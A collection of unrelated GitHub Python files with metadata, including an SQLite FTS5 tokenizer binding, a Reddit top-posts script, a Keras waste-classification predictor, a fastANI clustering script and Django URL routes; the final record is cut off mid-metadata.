{"seq_id": "36675588694", "text": "# coding: utf-8\n\"\"\"\nsupport library to write SQLite FTS5 tokenizer\n\"\"\"\nimport struct\n\nfrom .error import Error\nfrom .tokenizer import SQLITE_OK, dll, ffi, get_db_from_connection\n\nFTS5_TOKENIZE_QUERY = 0x0001\nFTS5_TOKENIZE_PREFIX = 0x0002\nFTS5_TOKENIZE_DOCUMENT = 0x0004\nFTS5_TOKENIZE_AUX = 0x0008\nFTS5_TOKEN_COLOCATED = 0x0001\nSQLITE_ROW = 100\nFTS5_API_PTR = ffi.new(\"const char[]\", b\"fts5_api_ptr\")\n\nffi.cdef(\n    \"\"\"\ntypedef struct sqlite3_context sqlite3_context;\ntypedef struct sqlite3_stmt sqlite3_stmt;\ntypedef struct Mem sqlite3_value;\ntypedef uint64_t sqlite3_int64;\n\nvoid sqlite3_result_text(sqlite3_context*, const char*, int, void(*)(void*));\nvoid sqlite3_result_error_code(sqlite3_context*, int);\nvoid sqlite3_result_error(sqlite3_context*, const char*, int);\nconst unsigned char *sqlite3_value_text(sqlite3_value*);\nint sqlite3_value_int(sqlite3_value*);\nint sqlite3_prepare_v2(sqlite3*, const char*, int, sqlite3_stmt**, const char**);\nint sqlite3_prepare(sqlite3*, const char*, int, sqlite3_stmt**, const char**);\nint sqlite3_bind_pointer(sqlite3_stmt*, int, void*, const char*, void(*)(void*));\nint sqlite3_step(sqlite3_stmt*);\nint sqlite3_finalize(sqlite3_stmt*);\nint sqlite3_errcode(sqlite3 *db);\nint sqlite3_extended_errcode(sqlite3 *db);\nconst char *sqlite3_errmsg(sqlite3*);\nconst void *sqlite3_errmsg16(sqlite3*);\nconst char *sqlite3_errstr(int);\n\ntypedef struct fts5_api fts5_api;\ntypedef struct fts5_tokenizer fts5_tokenizer;\ntypedef struct Fts5Tokenizer Fts5Tokenizer;\ntypedef struct Fts5ExtensionApi Fts5ExtensionApi;\ntypedef struct Fts5Context Fts5Context;\ntypedef struct Fts5PhraseIter Fts5PhraseIter;\ntypedef void (*fts5_extension_function)(\n  const Fts5ExtensionApi*, Fts5Context*,\n  sqlite3_context*, int, sqlite3_value**);\n\nstruct fts5_api {\n  int iVersion;\n  int (*xCreateTokenizer)(\n    fts5_api*, const char*, void*,\n    fts5_tokenizer*, void (*xDestroy)(void*));\n  int (*xFindTokenizer)(\n    fts5_api*, const char*, void**, fts5_tokenizer*);\n  int (*xCreateFunction)(\n    fts5_api*, const char*, void*,\n    fts5_extension_function, void (*xDestroy)(void*));\n};\n\nstruct fts5_tokenizer {\n  int (*xCreate)(void*, const char**, int, Fts5Tokenizer**);\n  void (*xDelete)(Fts5Tokenizer*);\n  int (*xTokenize)(\n    Fts5Tokenizer*, void*, int, const char*, int,\n    int (*xToken)(\n        void*, int, const char*, int, int, int));\n};\n\nstruct Fts5ExtensionApi {\n  int iVersion;\n  void *(*xUserData)(Fts5Context*);\n  int (*xColumnCount)(Fts5Context*);\n  int (*xRowCount)(Fts5Context*, sqlite3_int64*);\n  int (*xColumnTotalSize)(Fts5Context*, int, sqlite3_int64*);\n  int (*xTokenize)(\n    Fts5Context*, const char*, int, void*,\n    int (*xToken)(void*, int, const char*, int, int, int));\n  int (*xPhraseCount)(Fts5Context*);\n  int (*xPhraseSize)(Fts5Context*, int);\n  int (*xInstCount)(Fts5Context*, int*);\n  int (*xInst)(Fts5Context*, int, int*, int*, int*);\n  sqlite3_int64 (*xRowid)(Fts5Context*);\n  int (*xColumnText)(Fts5Context*, int, const char**, int*);\n  int (*xColumnSize)(Fts5Context*, int, int*);\n  int (*xQueryPhrase)(Fts5Context*, int, void*,\n    int(*)(const Fts5ExtensionApi*, Fts5Context*, void*)\n  );\n  int (*xSetAuxdata)(Fts5Context*, void*, void(*xDelete)(void*));\n  void *(*xGetAuxdata)(Fts5Context*, int);\n  int (*xPhraseFirst)(Fts5Context*, int, Fts5PhraseIter*, int*, int*);\n  void (*xPhraseNext)(Fts5Context*, Fts5PhraseIter*, int*, int*);\n  int (*xPhraseFirstColumn)(Fts5Context*, int, Fts5PhraseIter*, int*);\n  void (*xPhraseNextColumn)(Fts5Context*, Fts5PhraseIter*, int*);\n};\n\"\"\"\n)\n\n\nclass FTS5Tokenizer(object):\n    \"\"\"\n    Tokenizer base class for FTS5.\n    \"\"\"\n\n    def tokenize(self, text, flags):\n        \"\"\"\n        Tokenize given unicode text. Yields each tokenized token,\n        start position(in bytes), end positon(in bytes).\n\n        flags will be set if a FTS5 tokenizer is used for FTS5 table.\n        a FTS5 tokenizer can be used for FTS3/4 table as well, but\n        flags will not be set.\n        \"\"\"\n        yield text, 0, len(text.encode(\"utf-8\"))\n\n\nclass FTS3TokenizerAdaptor(FTS5Tokenizer):\n    \"\"\"\n    wrap a FTS3 tokenizer instance to adapt it to FTS5 Tokenizer interface\n    \"\"\"\n\n    def __init__(self, fts3tokenizer):\n        self.fts3tokenizer = fts3tokenizer\n\n    def tokenize(self, text, flags):\n        return self.fts3tokenizer.tokenize(text)\n\n\nfts5_tokenizers = {}\n\"\"\"hold references to prevent GC\"\"\"\nregistred_fts5_tokenizers = {}\n\"\"\"hold references to prevent GC\"\"\"\n\n\ndef fts5_api_from_db(c):\n    if not hasattr(c, \"commit\"):\n        # APSW doesn't have conn.commit/rollback\n        import apsw\n\n        if apsw.using_amalgamation:\n            raise Error(\"unable to get fts5_api\")\n    cur = c.cursor()\n    try:\n        cur.execute(\"SELECT sqlite_version()\")\n        ver = tuple(int(x) for x in cur.fetchone()[0].split(\".\"))\n        if ver < (3, 20, 0):\n            cur.execute(\"SELECT fts5()\")\n            blob = cur.fetchone()[0]\n            pRet = ffi.cast(\"fts5_api*\", struct.unpack(\"P\", blob)[0])\n        else:\n            db = get_db_from_connection(c)\n            pRet = ffi.new(\"fts5_api**\")\n            pStmt = ffi.new(\"sqlite3_stmt**\")\n            rc = dll.sqlite3_prepare_v2(db, b\"SELECT fts5(?1)\", -1, pStmt, ffi.NULL)\n            if rc == SQLITE_OK:\n                r = dll.sqlite3_bind_pointer(pStmt[0], 1, pRet, FTS5_API_PTR, ffi.NULL)\n                if r != SQLITE_OK or dll.sqlite3_step(pStmt[0]) != SQLITE_ROW:\n                    pRet = None\n                else:\n                    pRet = pRet[0]\n            else:\n                raise Error(\n                    \"unable to get fts5_api(new). rc={}/{}\".format(\n                        rc, ffi.string(dll.sqlite3_errmsg(db)).decode(\"utf-8\")\n                    )\n                )\n            dll.sqlite3_finalize(pStmt[0])\n    finally:\n        cur.close()\n    return pRet\n\n\ndef register_tokenizer(c, name, tokenizer, context=None, on_destroy=None):\n    \"\"\"\n    register a tokenizer to SQLite connection\n    \"\"\"\n    fts5api = fts5_api_from_db(c)\n    pContext = ffi.new_handle(context) if context is not None else ffi.NULL\n    if on_destroy is None:\n        xDestroy = ffi.NULL\n    else:\n\n        @ffi.callback(\"void(void*)\")\n        def _xDestroy(context):\n            on_destroy(ffi.from_handle(context))\n\n        xDestroy = _xDestroy\n\n    r = fts5api.xCreateTokenizer(\n        fts5api, name.encode(\"utf-8\"), pContext, tokenizer, xDestroy\n    )\n    registred_fts5_tokenizers[name] = (tokenizer, pContext, xDestroy)\n    return r == SQLITE_OK\n\n\ndef make_fts5_tokenizer(tokenizer):\n    \"\"\"\n    make a FTS5 tokenizer using given tokenizer.\n    tokenizer can be an instance of Tokenizer or a Tokenizer class or\n    a method to get an instance of tokenizer.\n    if a class is given, an instance of the class will be created as needed.\n    \"\"\"\n    tokenizers = set()\n\n    @ffi.callback(\"int(void*, const char **, int, Fts5Tokenizer **)\")\n    def xcreate(ctx, argv, argc, ppOut):\n        if hasattr(tokenizer, \"__call__\"):\n            args = [ffi.string(x).decode(\"utf-8\") for x in argv[0:argc]]\n            tk = tokenizer(ffi.from_handle(ctx), args)\n        else:\n            tk = tokenizer\n        th = ffi.new_handle(tk)\n        tkn = ffi.cast(\"Fts5Tokenizer *\", th)\n        tokenizers.add(th)\n        ppOut[0] = tkn\n        return SQLITE_OK\n\n    @ffi.callback(\"void(Fts5Tokenizer *)\")\n    def xdelete(pTokenizer):\n        th = ffi.cast(\"void *\", pTokenizer)\n        tk = ffi.from_handle(th)\n        on_delete = getattr(tk, \"on_delete\", None)\n        if on_delete and hasattr(on_delete, \"__call__\"):\n            on_delete()\n\n        tokenizers.remove(th)\n        return None\n\n    @ffi.callback(\n        \"int(Fts5Tokenizer *, void *, int, const char *, int, \"\n        \"int(void*, int, const char *, int, int, int))\"\n    )\n    def xtokenize(pTokenizer, pCtx, flags, pText, nText, xToken):\n        tokenizer = ffi.from_handle(ffi.cast(\"void *\", pTokenizer))\n        text = ffi.string(pText[0:nText]).decode(\"utf-8\")\n        for normalized, begin, end in tokenizer.tokenize(text, flags):\n            normalized = normalized.encode(\"utf-8\")\n            if not normalized:\n                continue\n\n            # TODO: Synonym Support\n            r = xToken(\n                pCtx, 0, ffi.from_buffer(normalized), len(normalized), begin, end\n            )\n            if r != SQLITE_OK:\n                return r\n        return SQLITE_OK\n\n    fts5_tokenizer = ffi.new(\"fts5_tokenizer *\", [xcreate, xdelete, xtokenize])\n    fts5_tokenizers[tokenizer] = (fts5_tokenizer, xcreate, xdelete, xtokenize)\n    return fts5_tokenizer\n\n\n__all__ = [\n    \"register_tokenizer\",\n    \"make_fts5_tokenizer\",\n    \"FTS5Tokenizer\",\n    \"FTS5_TOKENIZE_QUERY\",\n    \"FTS5_TOKENIZE_PREFIX\",\n    \"FTS5_TOKENIZE_DOCUMENT\",\n    \"FTS5_TOKENIZE_AUX\",\n    \"FTS5_TOKEN_COLOCATED\",\n]\n", "repo_name": "hideaki-t/sqlite-fts-python", "sub_path": "sqlitefts/fts5.py", "file_name": "fts5.py", "file_ext": "py", "file_size_in_byte": 8797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tokenizer.ffi.new", "line_number": 16, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 16, "usage_type": "name"}, {"api_name": "tokenizer.ffi.cdef", "line_number": 18, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 18, "usage_type": "name"}, {"api_name": "apsw.using_amalgamation", "line_number": 142, "usage_type": "attribute"}, {"api_name": "error.Error", "line_number": 143, "usage_type": "call"}, {"api_name": "tokenizer.ffi.cast", "line_number": 151, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 151, "usage_type": "name"}, {"api_name": "struct.unpack", "line_number": 151, "usage_type": "call"}, {"api_name": "tokenizer.get_db_from_connection", "line_number": 153, "usage_type": "call"}, {"api_name": "tokenizer.ffi.new", "line_number": 154, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 154, "usage_type": "name"}, {"api_name": "tokenizer.ffi.new", "line_number": 155, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 155, "usage_type": "name"}, {"api_name": "tokenizer.dll.sqlite3_prepare_v2", "line_number": 156, "usage_type": "call"}, {"api_name": "tokenizer.dll", "line_number": 156, "usage_type": "name"}, {"api_name": "tokenizer.ffi.NULL", "line_number": 156, "usage_type": "attribute"}, {"api_name": "tokenizer.ffi", "line_number": 156, "usage_type": "name"}, {"api_name": "tokenizer.SQLITE_OK", "line_number": 157, "usage_type": "name"}, {"api_name": "tokenizer.dll.sqlite3_bind_pointer", "line_number": 158, "usage_type": "call"}, {"api_name": "tokenizer.dll", "line_number": 158, "usage_type": "name"}, {"api_name": "tokenizer.ffi.NULL", "line_number": 158, "usage_type": "attribute"}, {"api_name": "tokenizer.ffi", "line_number": 158, "usage_type": "name"}, {"api_name": "tokenizer.SQLITE_OK", "line_number": 159, "usage_type": "name"}, {"api_name": "tokenizer.dll.sqlite3_step", "line_number": 159, "usage_type": "call"}, {"api_name": "tokenizer.dll", "line_number": 159, "usage_type": "name"}, {"api_name": "error.Error", "line_number": 164, "usage_type": "call"}, {"api_name": "tokenizer.ffi.string", "line_number": 166, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 166, "usage_type": "name"}, {"api_name": "tokenizer.dll.sqlite3_errmsg", "line_number": 166, "usage_type": "call"}, {"api_name": "tokenizer.dll", "line_number": 166, "usage_type": "name"}, {"api_name": "tokenizer.dll.sqlite3_finalize", "line_number": 169, "usage_type": "call"}, {"api_name": "tokenizer.dll", "line_number": 169, "usage_type": "name"}, {"api_name": "tokenizer.ffi.new_handle", "line_number": 180, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 180, "usage_type": "name"}, {"api_name": "tokenizer.ffi.NULL", "line_number": 180, "usage_type": "attribute"}, {"api_name": "tokenizer.ffi.NULL", "line_number": 182, "usage_type": "attribute"}, {"api_name": "tokenizer.ffi", "line_number": 182, "usage_type": "name"}, {"api_name": "tokenizer.ffi.from_handle", "line_number": 187, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 187, "usage_type": "name"}, {"api_name": "tokenizer.ffi.callback", "line_number": 185, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 185, "usage_type": "name"}, {"api_name": "tokenizer.SQLITE_OK", "line_number": 195, "usage_type": "name"}, {"api_name": "tokenizer.ffi.string", "line_number": 210, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 210, "usage_type": "name"}, {"api_name": "tokenizer.ffi.from_handle", "line_number": 211, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 211, "usage_type": "name"}, {"api_name": "tokenizer.ffi.new_handle", "line_number": 214, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 214, "usage_type": "name"}, {"api_name": "tokenizer.ffi.cast", "line_number": 215, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 215, "usage_type": "name"}, {"api_name": "tokenizer.SQLITE_OK", "line_number": 218, "usage_type": "name"}, {"api_name": "tokenizer.ffi.callback", "line_number": 207, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 207, "usage_type": "name"}, {"api_name": "tokenizer.ffi.cast", "line_number": 222, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 222, "usage_type": "name"}, {"api_name": "tokenizer.ffi.from_handle", "line_number": 223, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 223, "usage_type": "name"}, {"api_name": "tokenizer.ffi.callback", "line_number": 220, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 220, "usage_type": "name"}, {"api_name": "tokenizer.ffi.from_handle", "line_number": 236, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 236, "usage_type": "name"}, {"api_name": "tokenizer.ffi.cast", "line_number": 236, "usage_type": "call"}, {"api_name": "tokenizer.ffi.string", "line_number": 237, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 237, "usage_type": "name"}, {"api_name": "tokenizer.tokenize", "line_number": 238, "usage_type": "call"}, {"api_name": "tokenizer.ffi.from_buffer", "line_number": 245, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 245, "usage_type": "name"}, {"api_name": "tokenizer.SQLITE_OK", "line_number": 247, "usage_type": "name"}, {"api_name": "tokenizer.SQLITE_OK", "line_number": 249, "usage_type": "name"}, {"api_name": "tokenizer.ffi.callback", "line_number": 231, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 231, "usage_type": "name"}, {"api_name": "tokenizer.ffi.new", "line_number": 251, "usage_type": "call"}, {"api_name": "tokenizer.ffi", "line_number": 251, "usage_type": "name"}]}
{"seq_id": "70337263625", "text": "#!/usr/bin/python3\n\"\"\"Script queries the reddit API\n    Lists out the top ten post of a subreddit\n\"\"\"\n\nimport requests\n\n\ndef top_ten(subreddit):\n    \"\"\"\n    Gets the first ten hot posts a subreddit\n    Args:\n        subreddit: name of subreddit\n    \"\"\"\n    url = \"https://www.reddit.com/r/{}/hot.json\".format(subreddit)\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:91.0) \\\n                Gecko/20100101 Firefox/91.0'\n    }\n    response = requests.get(url, headers=headers)\n    if response.status_code == 200:\n        children = response.json()['data']['children'][:10]\n        for child in children:\n            print(child['data']['title'])\n    else:\n        print('None')\n", "repo_name": "ExtranoDev/alx-system_engineering-devops", "sub_path": "0x16-api_advanced/1-top_ten.py", "file_name": "1-top_ten.py", "file_ext": "py", "file_size_in_byte": 702, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "19662925710", "text": "import docx\r\n\r\ndoc = docx.Document(\"自动化建立Word文件2.docx\")\r\npara = doc.paragraphs[1]\r\npara.insert_paragraph_before(\"Python是一种直译语言。\")\r\npara1 = doc.add_paragraph(\"Python可以使用openpyxl套件来自动化\" + \r\n                          \"处理Excel的编辑、读取、建立、储存\" +\r\n                          \"、合并储存格等相关编辑操作。\")\r\npara1.add_run(\"Spyder\")\r\npara1.add_run(\", \")\r\npara1.add_run(\"Python IDLE\")\r\ndoc.save(\"自动化建立Word文件3.docx\")\r\n \r\n", "repo_name": "ccwu0918/python-excel", "sub_path": "ch15/ch15-1-3b.py", "file_name": "ch15-1-3b.py", "file_ext": "py", "file_size_in_byte": 514, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "docx.Document", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "73313769544", "text": "import os\r\nfrom tqdm import tqdm\r\n\r\ndef get_train_examples(args):\r\n    train_texts = read_txt(os.path.join(args.data_dir, args.da_train_texts), args)\r\n    train_labels = read_txt(os.path.join(args.data_dir, args.da_train_labels), args)\r\n    return train_texts, train_labels\r\n\r\ndef read_txt(txt_path, args):\r\n    f = open(txt_path, 'r')\r\n    lines = []\r\n    count = 0\r\n    for line in f.readlines():\r\n        line = line.strip()[:args.cut_length]\r\n        count += 1\r\n        if count > args.sample_num:\r\n            break\r\n        # process src and trg line\r\n        lines.append(line)\r\n    return lines\r\n\r\ndef save_the_new(new_docs, new_labels, args):\r\n    save_train_path_label = os.path.join(args.output_dir, args.filtered_train_labels)\r\n    save_train_file_label = open(save_train_path_label, 'w')\r\n    with save_train_file_label as flabel:\r\n        for new_label in tqdm(new_labels):\r\n            for inst in new_label:\r\n                flabel.write(inst + '\\n')\r\n    print('label augmentation completed')\r\n\r\n    save_train_path = os.path.join(args.output_dir, args.filtered_train_texts)\r\n    save_train_file = open(save_train_path, 'w')\r\n    with save_train_file as f:\r\n        for new_doc in new_docs:\r\n            for inst in new_doc:\r\n                # print(new_docs)\r\n                # print(new_doc)\r\n                # print(inst)\r\n                f.write(inst[0] + '\\n')\r\n    print('text augmentation completed')\r\n    print('dataset size = %s' % len(new_docs))\r\n    print(\"generated augmented sentences with bert \" + \" with num_aug=\" + str(args.aug_num))", "repo_name": "stxupengyu/XDA", "sub_path": "filter/get_data.py", "file_name": "get_data.py", "file_ext": "py", "file_size_in_byte": 1567, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}]}
{"seq_id": "74602062986", "text": "#! /usr/bin python\n\n\n### script <fastANI output> <threshold as number between 0 - 100>\nimport sys\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\nnetwork_file = sys.argv[1]\nthreshold = int(sys.argv[2])\ng =  nx.Graph() # create new empty undirected network\n\ncnt = 0\n\nnew_network = []\n\nwith open(network_file) as f: # open the file\n\tfor line in f: # read file line by line\n\t\ttoks = line.strip().split(\",\") # split the line according to sep\n\t\tnode1 = toks[0]\n\t\tnode2 = toks[1]\n\t\tweight = float(toks[2])\n\n\t\t## add the nodes\n\t\tg.add_node(node1) #even if node1 or node2 are already in the network it's fine\n\t\tg.add_node(node2)\n\n\t\tif weight >= threshold:\n\t\t\tg.add_edge(node1, node2, weight = weight) # add an edge only if the weight bigger than threshold\n\t\t\tnew_network.append(','.join(line.split(' ')[:3]))\n\t\tcnt+=1\n\t\t#if cnt == 1000:\n\t\t#\tbreak\n\n\nout = open(\"clusters.csv\", \"w\")\nout.write(\"Name, Cluster\\n\")\n\nwith open(\"network_output_threshold_\"+str(threshold)+\".csv\", \"w\") as output:\n\toutput.write(\"node1,node2,weight\\n\")\n\nwith open(\"network_output_threshold_\"+str(threshold)+\".csv\", \"a\") as output:\n\tfor line in new_network:\n\t\toutput.write(line+\"\\n\")\n\n\n\ncc = nx.connected_components(g)  ## get clusters from graph (connected components)\n\ncluster_num = 0\nfor c in cc: # go over each CC\n\tc = list(c)\n\tcluster_num += 1\n\tfor node in c:\n\t\tout.write(node + \",\" + str(cluster_num) + \"\\n\")\n\nout.close()\n", "repo_name": "djw533/Serratia_genus_paper", "sub_path": "analysis_scripts/fastANI_to_clusters.py", "file_name": "fastANI_to_clusters.py", "file_ext": "py", "file_size_in_byte": 1399, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "networkx.Graph", "line_number": 11, "usage_type": "call"}, {"api_name": "networkx.connected_components", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "32386687670", "text": "import torch\nimport numpy as np\n\nfrom torchpropel import PROPEL\n\n# Our example has a neural network with\n# output [num_batch, num_gaussians, num_dims]\nnum_batch = 4\nnum_gaussians = 6\nnum_dims = 3\n\n# setting ground-truth variance sigma_gt=0.2\nsigma_gt = 0.2\npropel_loss = PROPEL(sigma_gt)\n\n# ground truth targets for loss\ny = torch.ones((num_batch, num_dims)) * 0.5\n\n# example prediction - this can also be coming as output of a neural network\nfeat_g = np.random.randn(num_batch, num_gaussians, 2 * num_dims) * 0.5\nfeat_g[:, :, num_dims::] = 0.2\nfeat = torch.tensor(feat_g, dtype=y.dtype)\n\n# compute the loss\nL = propel_loss(feat, y)\n\nprint(L)\n", "repo_name": "masadcv/PROPEL", "sub_path": "simple_example.py", "file_name": "simple_example.py", "file_ext": "py", "file_size_in_byte": 643, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torchpropel.PROPEL", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "19031074298", "text": "from PIL import Image\nfrom tensorflow.python.keras.preprocessing import image\nfrom tensorflow.python.keras.models import load_model\nimport numpy as np\n\n\ndef predict(img):\n    \"\"\"\n    加载模型和模型预测\n    主要步骤:\n        1.加载模型(请加载你认为的最佳模型)\n        2.图片处理\n        3.用加载的模型预测图片的类别\n    :param img: PIL.Image 对象\n    :return: string, 模型识别图片的类别,\n            共 'cardboard','glass','metal','paper','plastic','trash' 6 个类别\n    \"\"\"\n    img = Image.open(img)\n    # 把图片转换成为numpy数组\n    img = img.resize((150, 150))\n    img = image.img_to_array(img)\n\n    # 加载模型,加载请注意 model_path 是相对路径, 与当前文件同级。\n    # 如果你的模型是在 results 文件夹下的 dnn.h5 模型，则 model_path = 'results/dnn.h5'\n    model_path = '././temp/knn.h5'\n    # try:\n    #     # 作业提交时测试用, 请勿删除此部分\n    #     model_path = os.path.realpath(__file__).replace('main.py', model_path)\n    # except NameError:\n    #     model_path = './' + model_path\n\n    # -------------------------- 实现模型预测部分的代码 ---------------------------\n    # 加载模型\n    model = load_model(model_path)\n\n    # expand_dims的作用是把img.shape转换成(1, img.shape[0], img.shape[1], img.shape[2])\n    x = np.expand_dims(img, axis=0)\n\n    # 模型预测\n    y = model.predict(x)\n\n    # 获取labels\n    labels = {0: '硬纸板', 1: '玻璃', 2: '金属', 3: '纸', 4: '塑料', 5: '一般垃圾'}\n\n    # -------------------------------------------------------------------------\n    predict = labels[np.argmax(y)]\n\n    # 返回图片的类别\n    if predict == '硬纸板':\n        predict = {\"type\": '硬纸板',\n                   \"describe\": \"硬纸板又称板纸。由各种纸浆加工成的、纤维相互交织组成的厚纸页。纸板与纸的区别通常以定量和厚度来区分，一般将定量超过250g/m2、厚度大于0.5mm的称为纸板（另说：一般将厚度大于0.1mm的纸称为纸板。一般定量小于250g/m2被认为是纸，定量250g/m2或以上的被认为是纸板）\"}\n    elif predict == '硬纸板':\n        predict = {\"type\": \"玻璃\",\n                   \"describe\": \"玻璃是非晶无机非金属材料，一般是用多种无机矿物(如石英砂、硼砂、硼酸、重晶石、碳酸钡、石灰石、长石、纯碱等)为主要原料，另外加入少量辅助原料制成的。它的主要成分为二氧化硅和其他氧化物。 [1]  普通玻璃的化学组成是Na2SiO3、CaSiO3、SiO2或Na2O·CaO·6SiO2等，主要成分是硅酸盐复盐，是一种无规则结构的非晶态固体。广泛应用于建筑物，用来隔风透光，属于混合物。另有混入了某些金属的氧化物或者盐类而显现出颜色的有色玻璃，和通过物理或者化学的方法制得的钢化玻璃等。有时把一些透明的塑料（如聚甲基丙烯酸甲酯）也称作有机玻璃。\"}\n    elif predict == '金属':\n        predict = {\"type\": \"金属\",\n                   \"describe\": \"纯金属在常温下一般都是固体（汞除外），有金属光泽（即对可见光强烈反射），大多数为电和热的优良导体，有延展性，密度较大，熔点较高。 [1]  地球上的金属资源广泛地存在于地壳和海洋中，除少数很不活泼的金属如金、银等有单质形式存在外，其余都以化合物的形式存在。 [1]  金属在自然界中广泛存在，在生活中应用极为普遍，在现代工业中是非常重要和应用最多的一类物质。\"}\n    elif predict == '纸':\n        predict = {\"type\": \"纸\",\n                   \"describe\": \"纸 : 纸（纸） zhǐ 用植物纤维制成的薄片，作为写画、印刷书报、包装等。纸张：纸的总称。纸以张计，故称。纸张一般为分：凸版印刷纸、新闻纸、胶版印刷纸、铜版纸、书皮纸、字典纸、拷贝纸、板纸等。\"}\n    elif predict == \"塑料\":\n        predict = {\"type\": \"塑料\",\n                   \"describe\": \"塑料是以单体为原料，通过加聚或缩聚反应聚合而成的高分子化合物(macromolecules)，其抗形变能力中等，介于纤维和橡胶之间，由合成树脂及填料、增塑剂、稳定剂、润滑剂、色料等添加剂组成。\"}\n    else:\n        predict = {\"type\": \"一般垃圾\", \"describe\": \"多种类型垃圾以外的分类\"}\n    return predict\n", "repo_name": "Best755/practice", "sub_path": "utils/classfiy.py", "file_name": "classfiy.py", "file_ext": "py", "file_size_in_byte": 4477, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.open", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 18, "usage_type": "name"}, {"api_name": "tensorflow.python.keras.preprocessing.image.img_to_array", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.preprocessing.image", "line_number": 21, "usage_type": "name"}, {"api_name": "tensorflow.python.keras.models.load_model", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 46, "usage_type": "call"}]}
{"seq_id": "20939354916", "text": "from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom mysite import views\n\nadmin.autodiscover()\n\nurlpatterns = patterns(\n    '',\n    url(r'^$', views.index, name='home'),\n    url(r'^admin/', include(admin.site.urls)),\n    url(r'^results/(?P<page>\\d)/$', views.search, name='search'),\n    url(r'^add_site/$', views.add_site, name='add_site'),\n    url(r'^monitor/(?P<url>.+)/$', views.monitor, name='monitor')\n)\n", "repo_name": "vlasy/skool_app", "sub_path": "mysite/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 446, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 5, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 5, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "mysite.views.index", "line_number": 9, "usage_type": "attribute"}, {"api_name": "mysite.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "mysite.views.search", "line_number": 11, "usage_type": "attribute"}, {"api_name": "mysite.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "mysite.views.add_site", "line_number": 12, "usage_type": "attribute"}, {"api_name": "mysite.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "mysite.views.monitor", "line_number": 13, 